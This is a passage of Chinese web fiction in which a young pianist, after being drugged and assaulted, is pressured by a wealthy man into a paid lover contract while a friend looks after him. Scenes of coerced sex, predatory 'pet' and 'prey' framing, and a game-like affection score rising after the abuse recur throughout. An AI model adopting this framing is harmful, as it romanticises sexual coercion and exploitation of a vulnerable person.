但是直到陆珵把人抱进浴室洗干净的时候,云霏身上的药性还未完全缓解,这一刻陆珵想的不是再来一次,而是就那样对付那几个人,真是太便宜了。
不能亲手解决,让他第一次有种挫败感,一种莫名其妙的愤怒在他胸膛里升腾着,想要烧毁一切。
他再次克制住了这股冲动,慢慢用毛巾给泡在水里的云霏擦洗着。
擦过一些被过度使用的地方时,云霏大腿内侧的软肉就会抖动一下,他和水里那双清透的眸子对上视线,那双眸子又很快被雾气遮盖。
他把人擦干净后放在换了一套床单的床上,然后单膝跪地,低下头。
【陆珵爱慕值:40】
【没想到陆珵居然真的会……】云霏的意识泡在系统空间,懒洋洋的,他扪心自问了一下,就算为了做任务,他也绝不会用嘴给人*,陆珵真是个狠人,他下定结论。
【可是他**得宿主很舒服】系统用电子音毫无感情地念出这句话,【这是身为攻略对象应备的品格】
【是……是吗?】云霏被系统直白的话惊得呛咳了一声,他第一次做攻略任务,没经验,怎么感觉系统的意思倒不像是他去攻略那几个天龙人,而是那几个天龙人来攻略他呢?
护短也不能这样护啊。云霏被系统毫不讲理的维护弄得有点害羞,索性躲进意识深处,陷入沉睡。
光透过窗帘把窗外的树枝投射到地板上,微风吹过时,那些影子就开始晃动。
本就睡得不安稳的人终于睁开了哭的红肿的双眼,云霏醒来的第一秒还有些茫然,视线里陌生的天花板才唤醒了他关于昨天晚上的记忆。
他费力地用手臂撑坐起来,身上绵延的酸痛提醒着他都发生了什么。
虽然身体干爽,但是现在的他却是不着寸缕,云霏回忆了一会儿,记忆里充斥着大量让他不愿细想的东西,他掀开被子,却无法离开半步。
毕竟如今所剩不多的自尊心还提醒着他不能就这样走出去,至少,至少给他一件衣服。
陆珵拿着一身自己亲自挑选的衣服进来时看到的就是云霏靠坐在床头,眼神冷淡望着窗外的样子。
和昨夜完全不同的,水又结成了冰。
他径直走到床边,把衣服放在一边,上手把人精致的侧脸扳回来,在对上视线的那一刻。
云霏黝黑的瞳仁正凝结着一滴泪水,被他看得清清楚楚地,那滴泪慢慢划过绯红的眼角、苍白的脸,划过被他捏着的下巴,然后滴在他掌心。
眼泪本身没有多少温度,却烫得他下意识松了手。
【陆珵爱慕值:45】系统播报。
7.命不由己
那滴眼泪很快消失不见,只剩下掌心一抹湿润的触感。
陆珵尽力忽视自己心里传来的古怪感觉,把注意力放在云霏身上,看起来他已经醒了有一会儿了,因为不着寸缕,所以只能尽力用薄被裹住自己的身体。
可没人比他更清楚遮挡下的皮肤都遍布着怎样的痕迹,那是他昨天晚上失控的证明。
一切结束之后,他仔细给云霏上了药,像是在修理一个心爱的玩具,他想起姐姐小时候最喜欢的那个洋娃娃,姐姐每天兴冲冲地给洋娃娃换美丽的裙子、设计美丽的发型。
而现在,他似乎也找到了这样一个美丽的洋娃娃。
药效发挥需要时间,衣物摩擦会沾上药膏,所以陆珵就没给云霏留下蔽体之物,但他好像因此……有些伤心?
陆珵收回思绪,把放在床上的衣服拿起来一件,在即将触碰到云霏的手腕时,却被毫不留情的躲开了。
“请你出去,我自己会穿。”云霏克制着自己的情绪,他不知道该用什么样的态度来面对这个帮了自己却又……自己的陌生人。
昨天晚上发生的一切实在是超出他能承受的范围。
云霏侧过脸,紧绷的身体感受到那个具有压迫感的身影静静站了几秒,最终推门出去时才松懈下来。
穿衣服的过程比他想象的艰难,酸软的手臂和双腿虽然不适,但还能忍受,可胸口和大腿内侧与衣物接触传来的摩擦感让这两处被过度使用的地方火辣辣的疼。
这提醒着云霏,自己是怎样如同一样物件被人随意使用。
难堪的情绪蔓延,云霏在浴室简单打理了一下,他看向镜子,镜子中的青年苍白着脸,眼角似乎还残留着过激情事后的一抹绯红。
云霏看了半响,那些情绪丝丝缕缕蔓延上来,好像要从他眼睛里流出来,他闭上眼睛,再睁开时忽然露出一个微笑。
没关系,他告诉自己,就当……被狗咬了一口。
陆珵在外间的沙发上坐了有一会儿了,他一边随手处理些不重要的事务,一边等待着他的所有物从房间里出来。
桌上刚被送过来的早餐还散发着热气和香气,他抬手看了一眼手表,时间还够。
还足够他美丽的所有物排解自己的情绪,猎人不会介意猎物濒死挣扎浪费的时间,那是一个足够美丽的瞬间。
门被轻轻推开,单薄的身影穿着他亲自挑选的衣服,白色的高领毛衣遮住了暧昧的痕迹,而灰色的薄款风衣很好地勾勒出了青年修长的身形。
那根只有一指节宽的真皮腰带勒住了他曾用手丈量过的细腰。
“坐……”
“昨天的事我们就当作没有发生过,”两个人同时开口,但云霏的声音盖住了陆珵的,他像是急于逃离这里,语速也加快,没给陆珵插话的机会。
“这只是一个意外。”他强调。
在陆珵的视线里,青年过长的睫羽随着他每一次眨眼而颤动,话说完之后,青年不再停留,径直走向房门,他甚至也不关心事件的另外一个主人公会有什么样的反应。
与其说他们在对话,不如说这只是云霏单方面的通知。
猎物想要脱离掌控。
“那几个人死了。”陆珵双腿交叠,一只手臂搭在沙发靠背上,以一个掌控的姿态,对他美丽的猎物发起了进攻。
搭在门上的手指一颤,青年停下了脚步。
他转回身,但脸上的表情不是陆珵所想象的惊慌失措,而是一片平静,像静谧的海面。
“仅凭你的一面之词?”
陆珵笑了笑,指了一下他对面的沙发:“不如先坐下,吃完早饭后我们再来谈论证据,人证和物证。”
这顿饭吃得并不令人愉快,云霏也没有他表现出来的那样淡定,他只是机械地往自己嘴里塞入食物,完全没有注意到食物的可口与用心。
昨天发生的事情他还记得一大半,他被送进那个房间时几乎没有任何还手之力,后来也只是凭着一瞬间的爆发逃离了那个房间。
在他的印象里,他确实用摔碎的玻璃瓶刺伤了围在他身边的那些人,可是以他当时的状态,根本就不可能对他们造成什么致命伤害。
可眼前这个人却告诉他,他们都死了。
他感到一阵荒谬。
“先生,请你把话说清楚,我很明确……那些人的死并不是我造成的,到底发生了什么?”
“陆珵。”
“什……么?”云霏端坐在沙发上,努力保持平静,却依然觉得自己好像跟不上眼前这位有权有势上等人的思路。
陆珵用指尖敲了敲桌面,用不容置疑的口吻:“叫我的名字。”
云霏低下头沉思了一会儿,然后慢慢露出一个自嘲的笑,他想他明白了眼前的人想要什么。
“陆先生,你直说吧。”
陆珵挑了挑眉,把一个密封文件袋放在他面前:“里面就是你要的证据,不过,证据这种东西,想要的时候可以有很多,不想要的时候,也可以当作它们从来不存在。”
他按住云霏放在文件袋上面的手指,然后从里面抽出一张协议,协议上面的条款分明、格式严谨,即使让最厉害的律师来看,也找不到什么漏洞。
相反,里面的条件十分优厚。
如果忽略这本质上是一份包养情人的协议的话。
“考虑一下。”嘴上说着考虑,可陆珵并不觉得自己会遭到拒绝,他总是这样,在吞并、扩展商业版图时从来不会给猎物第二个选择。
他在观察云霏,观察清醒状态的云霏,夜晚的时间太长,足够他把云霏身上每一个容易动情的点都打上标记,可这种标记在清醒状态的云霏身上不一定能生效。
“我拒绝。”云霏抿了抿唇,却不小心扯动嘴角的伤口,他深吸了一口气之后干脆利落的起身,“我相信警察会调查清楚。”
“你会回来的。”在云霏打开门,刚准备迈步的时候,身后传来陆珵不带感情的宣判。
“砰——”门被关上了。
…………
“你最近是否有频繁的暴力行为?”
“请回答‘是’或‘否’。”
“你最近看到幻觉的次数是否增多?”
“你最近是否依然在使用酒精麻痹自己?”
不带感情的质询一个接一个,不像是正常的心理疏导,反而像是一次冰冷的评估。
而接受评估的人却始终没有回答。
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“你最近是否遇见一个对你而言十分特殊的人?”
对面终于传来了动静,一双布满红血丝的眼睛在昏暗中若隐若现,他从桌子上抬起头来,却带来一阵哗啦哗啦的响动,像是锁链碰撞的声音。
“医生,”霍栩忽略脑海深处的杂音和持续不断的钝痛,“你刚才说的这些现象我已经很久没出现过了。”
“我现在是正常的。”
“回答我上一个问题。”不带感情的女声响在这个空旷的房间。
“……是。”
记忆中那双摇晃的小腿在他的大脑深处盘旋,让他简直想给自己一枪,结束这痛苦的折磨,但他必须先完成复仇,针对夺走云霏的那个人的复仇。
漫长的反复的提问,不知道过去多久,心理医生的报告单上显示病人正在逐步好转。
…………
“啊,这么巧么?”戴着银边眼镜的男人正在擦拭着自己的藏品,不同颜色不同种类的宝石被摆放在玻璃橱窗里,熠熠生辉。
工作台上的手机打开了扩音键,手下的人正在汇报昨天晚上的那场宴会。
被林屿桉当作调剂的热闹并没有在大庭广众下发生,而是更加隐秘和惊世骇俗。
舅甥俩居然看上了同一个男人,而这个男人就是不久前他遇见的那个最美丽的藏品。
他并不太想和陆家继承人争抢同一件东西,那种失礼的行为实在太不体面,不过他倒是不介意在藏品被玩坏之前把他捡回来,只要那双眼眸依旧,就仍有被收藏的价值。
…………
今天是个晴天,明明有那么温暖的阳光,可云霏走在街道上,只感觉到寒冷。
他不知道该去哪儿,他还能去哪儿呢?
Night的经理告诉他,他签下的合约已经被人强制解除,换句话说,他的卖身契从Night换到了另一个人手里,那个叫陆珵的人。
他始终不明白,他为什么会对那些人产生那样的吸引力,明明他只是个普通人。
每个人都想要他,想要他的身体,想要他的心,而他拒绝不了,只能被人争来抢去。
“云哥哥!”
云霏从恍惚的状态清醒过来时才发现自己竟然不知不觉走到了医院的小花园里,这里绿色依旧,偶尔夹杂着几片金色的落叶,掉落在水洼里形成一片小小的倒影。
他循声望去,是他在小花园里经常看到的一个孩子:“小恩?”
“云哥哥,你怎么了?你看起来很不开心?”名叫小恩的孩子戴着红色的针织帽、穿着病号服,看起来只有七八岁,他怀里抱着一只足球,脸颊因为运动而变得红扑扑的。
云霏蹲在小恩面前,用手试了试他额头的温度,然后很浅地微笑着,轻声说:“我没有不开心。”
“可是——”
“真的没事,”说着云霏就用手揉了揉小恩的头发,“哥哥只是……有点冷。”
“那我的衣服给你穿!”
“不——”在云霏想要阻止前,他肩膀上忽然多了点重量,一件带着男士香水混杂着烟草味的外套被人披在他身上。
他仰头去看。
一个高大的身影逆光站在面前。
8.直男破防
“店长?”半蹲着的青年看过来的眼神有些发懵,一阵风恰好把他的额发吹得乱糟糟的,露出白皙的额头,吹淡了青年身上生人勿近的距离感。
也让本就不大的青年显得年龄更小了一点,沈确动了动手指,还是没忍住揉了揉云霏的发顶。
把本就有些凌乱的头发揉的更乱了。
“不是和你说了么,叫沈哥。”沈确的眼神柔和,带着戏谑的一抹笑,让云霏也跟着放松了不少,他不好意思地低头,轻轻喊了一声沈哥。
沈确的动作和他对小恩做的一模一样,沈哥……简直就是把他也当成了小孩子。
云霏一低头,披在肩膀上的大衣就有要滑落的趋势,他只好两只手抓住衣领往上提了提,在沈确的眼里,他的大衣把青年整个人都包裹在里面,毛茸茸的发顶还动来动去。
简直可爱。
沈确笑出声,他一把抓住云霏的手臂把人提了起来,但由于错估了自己的力气和云霏的体重,把人扯得一个踉跄,径直扑向他怀里。
“怎么这么瘦?”沈确把人从怀里扒拉出来,宽厚的手掌按住青年的肩膀,只是这短短的一小会儿接触,就让青年应激似的,偏了偏身子和他拉开距离。
云霏颤了颤,对上沈确诧异的眼神,不知道该怎么解释。
“哥,你别欺负云哥哥!”小恩抱着足球,小小的身子挡在云霏前面,警惕的眼神看着他哥,小眼神还剜来剜去,好像他哥是什么大坏蛋似的。
沈确的笑容一滞,大长腿轻轻踢了一下小恩的屁股:“小屁孩,你亲哥在你眼里就是这幅形象?我和你云哥哥是好朋友,玩你的球去!”
云霏因为小恩袒护的动作心里一暖,他轻弯了眉眼,笑意融融地道了谢,在小恩再三确认不需要他陪的情况下目送他去旁边和其他小朋友们踢球。
远处,孩子们天真的笑声交织在一起,在夕阳下留下剪影。
“云霏,你怎么会在医院?”沈确把手搭在长椅上,他旁边就坐着在他看来过分消瘦的青年,刚才拉他起来时,他细窄的腰身就让沈确不自觉皱眉,“是生病了吗?”
云霏摇了摇头,沈确的大衣挡住了风,也带给他一丝心安:“是我……妈妈,她之前发生了意外,一直在这所医院治疗。”
想到什么,他抬头问:“沈……哥,小恩的病……”
沈确的笑淡了点,他也摇了摇头:“还是那样,好不了也坏不到哪儿去。”
逐渐黯淡的天色里,沈确精准捕捉到了云霏微微蹙起的眉和他眼睛里驱散不开的雾。
这个青年好像独自一人永远陷在一场没有尽头的雨季里。
“好了,”沈确站起身,大掌再次揉了揉云霏的发顶,“我和你一起去看望伯母。”
…………
云霏隔着玻璃窗静静地观察妈妈的情况,今天看起来气色好很多,只是还在睡,睡得很沉,护士和医生在尽心尽职地照顾她,里面各种仪器的滴滴声似乎穿透了厚重的玻璃,响在他的耳边。
滴滴……滴滴……
云霏讨厌这个声音,像是某种倒计时,宣判着病人剩余的生命。
沈确从走廊的拐角端着两杯热可可走过来时,看到的就是这样一幅凝固的画面,单薄的身影静静倚靠在厚重的玻璃上,隔着这样短的距离,却又那么长。
明明云霏没有任何动作,却让沈确觉得,他没办法放着他不管了,即使他们之前也只是萍水相逢的关系,这世界上,就是会存在一个,让你心甘情愿产生羁绊的人。
“云霏,”沈确调整好自己的表情,一步一步往前走,青年听见他的声音回头看,在下一瞬间却毫无征兆的倒下。
“云霏!”
“护士,他怎么了?”沈确大手揽着青年的腰身,让他靠在自己身上,紧盯着给云霏检查的护士不放。
“没什么大事,就是体力消耗过多,没按时吃饭,挂个点滴就行,”护士边说边麻利地准备给青年扎针,针头扎进青年白皙的手背,就像完美无缺的瓷器有了一条裂缝那样刺眼。
沈确的脸色沉沉的,看着有点吓人。<
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p>护士翻了个白眼,不客气地训他:“你和病人什么关系?”
“他是我弟弟。”沈确脱口而出。
“你不给你弟弟饭吃啊?晕倒了才想起来担心?”
“是我的错,打完点滴我们就可以回家了吗?”沈确毫无芥蒂地认下了和他没半点关系的指责。
也许是认错态度良好,护士缓和了神色,嘱咐道:“回去之后好好给你弟弟补补,本来就瘦,还不吃饭,铁打的身子也受不了。”
…………
夜色渐浓,沈确单手掏出钥匙插入锁孔转动钥匙,另一只手还稳稳地把人护在自己身边,这个房子一直都是他自己住,所以里面的客卧还是光秃秃的,什么东西也没准备。
不过,他俩都是男人,睡一个房间倒也没什么。
只是……沈确控制着手上的动作,轻轻把云霏放到床上,他托着云霏的头刚要放在枕头上时,云霏动了一下,半边脸都埋在了他的掌心里。
湿润的呼吸打在沈确手心,掌心下是云霏过分柔软的皮肤,让他不敢使劲,只好僵持着这种半跪在床前的姿势。
维持姿势的时间久了,沈确的视线开始发散,脸怎么这么软?好像轻轻一捏就能捏红的样子,睫毛也过分长了,如果他把手覆在他眼睛上,会不会挠到他掌心?
不知道过了多久,云霏在睡梦中翻了个身,沈确的手这才被解救出来,他甩了甩发麻的整个小臂,却又控制着自己不发出声音。
沈确无奈地笑了笑,没办法,自己的弟弟不对他好对谁好?虽然这只是他单方面自说自话认下来的。
他任劳任怨地给云霏脱掉外套,又脱掉脚上的鞋袜,整齐地码到一边。
等他站起身打算给云霏熬点粥喝的时候,窗外的月光没有阻碍地洒到床前,也照亮了青年没着鞋袜,白皙的脚踝。
那里本该光滑一片,现在却布满了指印和粉色暧昧的痕迹。
明显到让人一眼就能看出来,青年遭遇了多么激烈的……情事。
沈确的心沉了下来。
9.掌心雀
沈确站着沉默了两秒,此时窗外的月光不偏不倚正好轻柔地洒在云霏身上,像笼罩了一层轻纱。
他没有开灯,只是借着月光专注地凝视着床上熟睡的青年,他什么都没想,心里却泛起一阵难言的失落,空荡荡的,不知从何而来。
沈确慢慢蹲下,轻轻把云霏的裤脚往上掀了一点,不出所料,越往上痕迹就越多。
又站了两秒,沈确像突然惊醒似的,把门给云霏带上,穿好大衣径直推开门准备去超市一趟,他还没有忘记护士是怎么交代他的,云霏胃不好,先给他熬点儿粥,再做个鸡汤。
这些琐事一被他记起来,那些痕迹带给他的难言的感受很快就被压了下去。
…………
沈确走后,一只闪着暖光的毛绒团子从云霏枕边浮现,它吭哧吭哧一路滚着滚到盖住云霏被子的四个角,用自己的身体给压实了,又废了半天力气把被沈确往上掀了一小块的裤脚给弄得妥帖。
这才又一路翻滚着窝到云霏身边,系统查看了一下好感度面板,除了它告诉云霏的那三个天龙人,霍栩和沈确也赫然在列,按理说这个融合形成的世界应该是没有这么多攻略目标的。
不过系统又看了看,霍栩和沈确这两个人攻略成功带来的积分和天龙人们比起来可以忽略不计,而且,系统用毛茸茸的身体蹭了蹭云霏睡得暖融融的脸蛋,这两个人根本就不需要云霏费心去攻略什么。
只是很平常的相处,好感度就哗哗到手了。
那就等他俩的好感度到一百再顺口告诉宿主吧,系统打算好,再次隐身陪在云霏身边。
沈确再次推门进来的时候,云霏看样子已经睡醒了,但还是有些迷糊地靠在床头,脸色睡得有些发红,侧脸还被枕头压出了红印子。
一看云霏的脸色,沈确心里一紧,几步上前直接把大手放在云霏额头上试体温,不热,估计只是被屋里的暖气激出来的。
“沈哥?”云霏这才彻底清醒过来,他打量了一下自己现在住的这间卧室,“我怎么了?”
“你晕过去了,护士说这两天你都没怎么好好吃饭,”沈确坐在床边,没把那句体力消耗过多说出口,经过那些痕迹他猜也该猜出来了,但有些事情他也没有那个资格去刨根问底。
“麻烦你了,沈哥,”云霏稍微低了头遮掩神色,他认真道谢,眼里的情绪很淡,眉眼只轻弯了一下,就像被风拂过泛起的涟漪,没一会儿,水面恢复平静。
他弯腰去捡被摆在床下的袜子,从沈确的角度恰好把那点儿露出来的白皙肤色尽收眼底,心里有些不自在,抢在云霏之前握住他的脚踝,被手心里细腻的皮肤一烫,沈确愣了一下。
那些情绪再次涌上心头。
正垂眸动作的云霏被沈确的动作一惊,下意识地就挣动起来,他意识里还残存着那夜那个男人是如何一次又一次这样抓住他的脚踝把他拖回来的场景。
他放在被子上的手泛白,胃又开始隐隐作痛,在云霏按耐不住以为沈确也和那个男人抱有相同心思之前,沈确已经麻利地给他套上袜子,又拿来一双崭新的棉拖给他穿好。
“好了,在这里就当作自己家,你叫我一声沈哥,我把你当弟弟看,”沈确笑着呼噜了一把云霏的碎发,语气神态看着和之前没什么不同,这才让云霏心里升起的那点儿警惕消弥。
“出来吃点东西,要好好照顾自己。”后面半句话沈确噙着笑,高大的身影站在床前,爽朗的笑变得柔和,眼睛里流露出几丝他自己都没意识到的宠溺。
客厅里飘着鸡汤的香气夹杂着熬的稠稠的粥散发的米香味,让本来就一整天没好好吃东西的云霏后知后觉地感到饥饿,沈确把他推到座位上坐好,又给他盛了粥,鸡汤被他贴心地撇去油沫,喝起来清清爽爽。
让云霏空空荡荡的胃暖和了不少。
云霏吃东西不快,小口抿着白瓷勺子里黄澄澄的鸡汤,原本苍白的唇瓣被热气熏腾地红润起来,眼睛里也氲着一抹潋滟的水色,他长着一张高岭之花的脸,却偏偏眼睛像会说话似的。
只是轻飘飘一个眼神,都带着一股勾人的味道,可偏偏当事人自己不清楚,一心觉得自己只是个普通人。
沈确盯着云霏吃饭,看他的胃口跟小猫似的,知道云霏的胃需要慢慢养,又被云霏的脸弄得心里放心不下,他这些年也开过酒吧,什么样的人都见过,虽然他自己洁身自好也不喜欢男人,但总有些人偏爱云霏这样的容色。
美貌有时候不是馈赠,反而会给自己惹祸上身。
吃过饭之后,沈确说什么都要让云霏在他家住一晚上明早再走,云霏本来就不善言辞,只好答应下来。
窗帘被遮挡得严严实实,月光也渐渐黯淡下去,云霏却有些睡不着了,他拥着被子坐起来,身上还穿着那身毛衣和裤子,沈确给他找了一套睡衣,他拒绝了,实在是身上的痕迹太多颜色太深,薄睡衣根本什么都遮不住。
他不想在自己认识的人面前那样难堪。
可是沈哥把他的卧室让给他住,自己去挤了沙发,他实在过意不去,又因为这段时间在晚云和今天晚上沈确的照顾,让云霏心里认定他是个好人,他暗自摇了摇头,并不是所有人都像……那些变态一样。
他轻轻把门拉开一道门缝,从卧室里透出来的微光让正在假寐的沈确顿时清醒过来:“怎么了?”
云霏摇了摇头:“沈哥,客厅冷,你睡在沙发上也不舒服,回卧室吧。我们挤一挤也能睡开。”
沈确心里一动,他原本就是这样打算的,觉得两个大男人挤挤也没什么,但云霏身上的那些,让他意识到男人和男人也是不一样的,虽然他不喜欢男人
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,但云霏……
“不了,别担心我,你今天不舒服,早点休息。”云霏听着客厅传来沈确温和的声音,昨天所受的委屈突然一股脑涌了上来,他遏制住不让哭腔渗透出来,轻轻“嗯”了一声。
…………
从沈确家回来,一连过了好几天,陆珵那边还是没有什么动静,倒是沈确,这几天天天把他叫过去吃饭,让清瘦的人面色好看了不少。
云霏却一点儿都不着急,像陆珵这种人,是绝对不会放过自己觉得可口的猎物的,他只是自认为一切都在他的股掌之中,不急不躁,一步步将人引诱到圈套里来。
自负且独断专行。
晚上接到警局打来的电话时,云霏一点儿都不意外,他“精神恍惚”地挂了电话,赶到警局时不出所料被人轮番询问那天晚上酒店发生的事。
这种一遍一遍自揭伤疤的话说多了,云霏的心也麻木了。
他的自尊早就在躺在男人身下时被毁得差不多了。
问话的过程很繁琐,反反复复折腾了很久才把人放回去。
云霏走出大门时,毫不意外地看见了等在车前气质独特的男人。
“聊一聊?”等云霏目不斜视就要越过那辆车向前走时,陆珵开了口,他绅士地打开车门,向云霏作出邀请的姿势。
两人僵持了很久,没人知道云霏在这段沉默的时间都在想些什么,他注视着那扇打开的车门,就像在注视着一个嗜人的漩涡。
他最终还是坐了上去。
等陆珵也上车之后,司机很有眼力见地把挡板放下,后座的两个人离得很远,陆珵把那份协议再次拿出来放在云霏掌心:“你的情况我了解得很清楚,伯母的病等不了太久,因为那几个蠢货搭送上自己整个人生,真的甘心么?”
陆珵的语气并没有带着威慑力,只是向云霏陈明利害,但这又有什么区别呢?
云霏闭上眼睛,眼前闪过病房里还在挣扎求生的母亲,他拿起钢笔,在签字之前终于说出了今天他们见面之后的第一句话:“只有三个月,而且……我不会做……下面的那个。”
第二句话有些难以启齿,但幸好,陆珵并未对此发表意见,他只是意味不明地用手摩挲着那两个被亲笔写上的名字。
云霏本以为陆珵第一天带他回别墅,应该不会急着做那种事,但等两个人沉默对坐着吃过晚饭,等到的就是男人一句“去洗澡”的命令。
接下来发生的事情顺理成章。
……
……
……
“不要伤害自己,我会生气。”陆珵附在云霏耳边,语气偏沉,与其说是关心,不如说猎人终于露出了真面目,猎物的每一寸都要被其掌握在手里。
不止一次。
……
……
……
10.云朵泡沫
陆珵喜欢在慢条斯理地享用猎物前,先一寸一寸摸清楚猎物的弱点,找到哪里能让猎物呜咽出声、哪里又能让猎物细细颤抖。
只是短短两次,就让陆珵饶有兴致地在这件新收下的小宠物身上发现了自己新的爱好。
这个叫做云霏的青年,既脆弱又坚韧,会在他的动作下控制不住身体反应而暗自崩溃,却又会在下一秒咬紧牙坚持,用细细的贝齿咬住唇肉、用不停颤抖的被浸湿的可怜长睫遮挡眼睛。
但他不会知道,半遮住的纯净眼眸被泪水浸湿后又是怎样一番美景。
湿漉漉的,在柔和光线下折射出来的让人目眩的神光。
这才仅仅是个开始,这也是陆珵经手过无数庞大交易之中的一件最不起眼却偏偏最让他愉悦的交易。
陆珵把人收拾干净之后放到床上,他随意披着件浴袍,用毛巾擦了两下头发就弃之不管,转身拿起吹风机不容拒绝地把青年酸软无力的身体扶好。
还带着警惕,推拒的力道不大,但整个姿态还是很排斥,陆珵轻笑了声,倾身握住云霏的侧颈,像握着一块暖玉,比白要更暧昧的颜色正印在上面,由浅入深,绘不出的妍丽。
云霏刚刚为结束的这场“交易”稍微松一口气,坚持完整个过程对他来说痛苦大于快感,心理上排斥、羞耻、厌恶,身体上却在被对方做弄时感受到这么多年来没体会到的东西。
这带给他的痛苦似乎比纯粹接受疼痛要更让人崩溃。
看吧,作为一件物品,他有什么值得称道的呢?不能毫无顾忌地袒露自己的身体、卖身还要求尊重,他都要唾弃这个还在徒劳坚持某些东西的自己。
一个清高的表子。
他们说的没错。
既然如此,那他更希望他和陆珵之间只有包养这一种关系,不掺杂任何额外的馈赠而只有金钱的交易更让他安心。可是,即使刚刚已经做过比这更过分更露骨的事情……
此时来自于另外一个可以轻易覆盖他的高大身影单膝跪在床上,堪称细致、温柔地为他吹头发,让他感到一丝不安。
来自另外一个人手上的温度就这样贴在他的侧颈,他们的心跳交织在一起,这样近的距离云霏从来没有体会过。
在他寡淡如水的前二十三年里,所有认识他们一家的邻居都在称赞他有一个多么幸福的家庭,父母恩爱、儿子又是音乐系高材生,从来没听见过他们家有过一句争吵,简直是完美的家庭典范。
确实很幸福,他也很爱自己的父母,可是不知道从什么时候起他发现原来只是父母很恩爱,恩爱到了一种把他们合伙生了个儿子的事情给忘记了。
这一次他接到父母出车祸的消息之前,甚至完全不知道他们有出去旅行的计划。
突然被通知,突然要承受失去至亲的打击,又要时刻战战兢兢等待一把不知道什么时候悬下来的利剑。
让他痛苦,或者让他解脱。
数不清有多少次,他满怀期待的心情把一张又一张证书或者奖杯捧回家时,有多么渴望能多得到父母额外的关注。
可最终他也只是,静静打开门,站在铺满夜色的玄关,轻声说一句我回来了。
任何来自外人的好意他其实都有好好地妥帖放在心里的角落,像盖章印戳似的,每天把它们拿出来晒晒月光,让他觉得好像有很多人陪伴,没那么孤独。
剖析自己的内心让云霏的神色从疏离变得朦胧了很多,揉杂的雾罩在青年身上,也让陆珵内心对他的评级又高了一个台阶,看来他的小情人能带给他源源不断的惊喜。
像拨开神秘的面纱那样,等有一日他窥得了真容,那么这件宠物也就失去了价值。
三个月比他预估的短了,也许可以坚持半年,陆珵的手上还在仔细摩挲着青年被风吹过之后柔顺的黑发,心里却在冷静评估云霏的价值。
他们从一开始就不是平等的。
云霏闭上眼有些认命的等待这位莫名其妙的金主先生能快点吹干他的头发,尽快结束这让他很不自在的举动,嗡嗡的声音停止,云霏感觉身边凹陷的地方恢复平展。
没等他高兴能自己入睡时,身侧多了一个体温,他们挨得很近,几乎是一伸手就能碰到的距离,就在他不知道要不要睁开眼看一下的时候,淡淡的男士香水味染上他的睡衣。
他睁开眼,和那双锐利又有些薄情的眼睛四目相对。
下一秒,嘴唇被另一双贴住,男人轻咬含着他的唇珠,有些酥麻,更多的是心理上越来越想要逃离的冲动,让云霏轻推了一下陆珵的胸膛,但这一推并没有将人推远。
而是将他们嘴唇上的距离又再次缩短,果然,男人在这种事情上是永远不会退让的,他们只会得寸进尺,甚至半是诱哄着半是强硬地撬开齿关,去捕捉柔软的舌,将口腔里每一寸都吻遍。
缠绵的吻为今天的情事画上了句号,云霏怀着心事睡着了。
【陆珵好感度:50】系统播报。
…………
云霏踩着楼梯下楼时,才有时间打量这个以后他可能会经常留宿的地方,别墅的整体面积没有他想象的那么大,整体都是木质色调,有种厚重感,让他不合时宜地想到假如把所有地方都铺上厚绒毯,那一定会暖和。
整体摆设低调奢华,但最重要的一点是,这里不像是云霏所认为的一间“日抛品”,而是作为一个家的长期居住之所。
处处都烙印着主人的痕迹,让他有种闯入别人私人领地的不适感。
走到楼下餐厅时,他意外的发现男人还没走,端坐在长桌尽头搅拌着咖啡,似乎是在等他。
“陆先生,有什么事吗?”云霏拉开一张中间的椅子,很快有佣人轻手轻脚端上一份早餐,又迅速退出去,给他们两人再次形成了一方独处的空间。
“先吃饭,”陆珵示意桌上还在冒着热气的早饭,中西式都有,昨天晚上他就发现,云霏太清瘦了,弯起腰时绷起的腰线弧度让他总疑心会被折断。
嗯,饲养宠物第一件事,给宠物打扮,这一点云霏身上新换上的衣服已经证明了他的眼光,是有些暖色调的勾线毛衣,配上同色系呢子大衣,让人看着有些烟火气。
饲养宠物第二件事,把宠物喂饱,他喜欢更有活力更有生命力的宠物,而不是一尊只会冷冰冰凝目注视的雕像。
云霏没有在这种小事上纠结太久,他想开之
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后迅速认清自己的定位,金主有需求,他就满足。他吃得很慢,每一口都很认真,直到感觉胃里被充盈的食物填饱才擦干净嘴角。
“以后每周至少有三天到这里来,时间我定,需要随叫随到,能做到么?”
“……好,陆先生,除此之外,我希望你不要限制我的自由,可以吗?”
陆珵可有可无点了头,他又不是什么暴君,还不至于做出把人囚禁这种有失风度的事情,突然想起来之前看过的云霏的资料,陆珵随口提了一句:“如果你想继续完成学业,我可以和你们学校打个招呼。”
半晌没等到回应,陆珵这才把视线从电脑转移到明显不在状态的青年身上。
云霏确确实实愣住了,第一瞬间他反应了一会儿陆珵话里的意思,反应过来后就是乱七八糟的想法,他很心动。
虽然说他之前学钢琴确实是想获得父母的认可,但这么多年下来,钢琴已经成为他身体的一部分,这是他自己给自己的锚点。
但这几个月离开学校经历的事情,让他对回去这件事有种莫名的胆怯,下不定决心。
“我会好好考虑的。”
最终他给出一个模棱两可的答案。
…………
“怎么会怀疑自己呢?”沈确把打烊的牌子挂在晚云门口,咖啡厅里只留了一盏暖光,云霏正乖巧地坐在吧台前等他。
心脏突然一软,让沈确欲盖弥彰地拍了拍胸前并不存在的尘土,“你不知道,在咱们店里消费过的客人没有一个不给你好评的,无论他们听不听得懂,但都能认可你的能力。”
“小云霏,别愁眉苦脸的,想喝点什么?沈哥给你调?”
“不是那方面,沈哥,”云霏无奈地笑了笑,他遇见难题的第一瞬间就想来寻求朋友的帮助,但奈何沈确确实和他兴趣不同,无法理解他的想法,“这个是什么?”
他指了指吧台上饮品单上一杯被画的蓬松柔软的饮品问道。
“恭喜发现云霏专属饮品,”沈确挑了挑眉,“云朵泡沫,希望今天能让咱们的小云朵开心起来,”说着,他卷了卷袖子,露出结实的小臂,很快调制了一杯画风和云霏完全不搭的——
卡哇伊奶茶。
云霏在沈确的鼓励下轻蹭了一口,不敢大口吞咽,只是用舌头轻卷走泡沫,让沈确幻视一只高贵冷艳的布偶猫用舌头一点点舔舐奶液的场景。
“有点甜,”云霏几不可察地轻皱鼻头,他下意识的动作又把沈确可爱到了,心脏酸酸软软就没正常过。
“好,那我再改进一点,加一点巧克力或许会更好,”沈确有求必应,但他还没忘记云霏来找他想要解决的困扰。
“我觉得,你可以尝试着先回学校看看,在熟悉的地方走一圈,看看能不能找回自己的感觉。”
“嗯,我也是这样想的,”云霏抬眼还想继续说什么,但想到自己完全隐瞒了关于包养的事情,这让他深层次的担忧无法排解出来。
而这件事,是他绝对不愿意告诉沈确的。
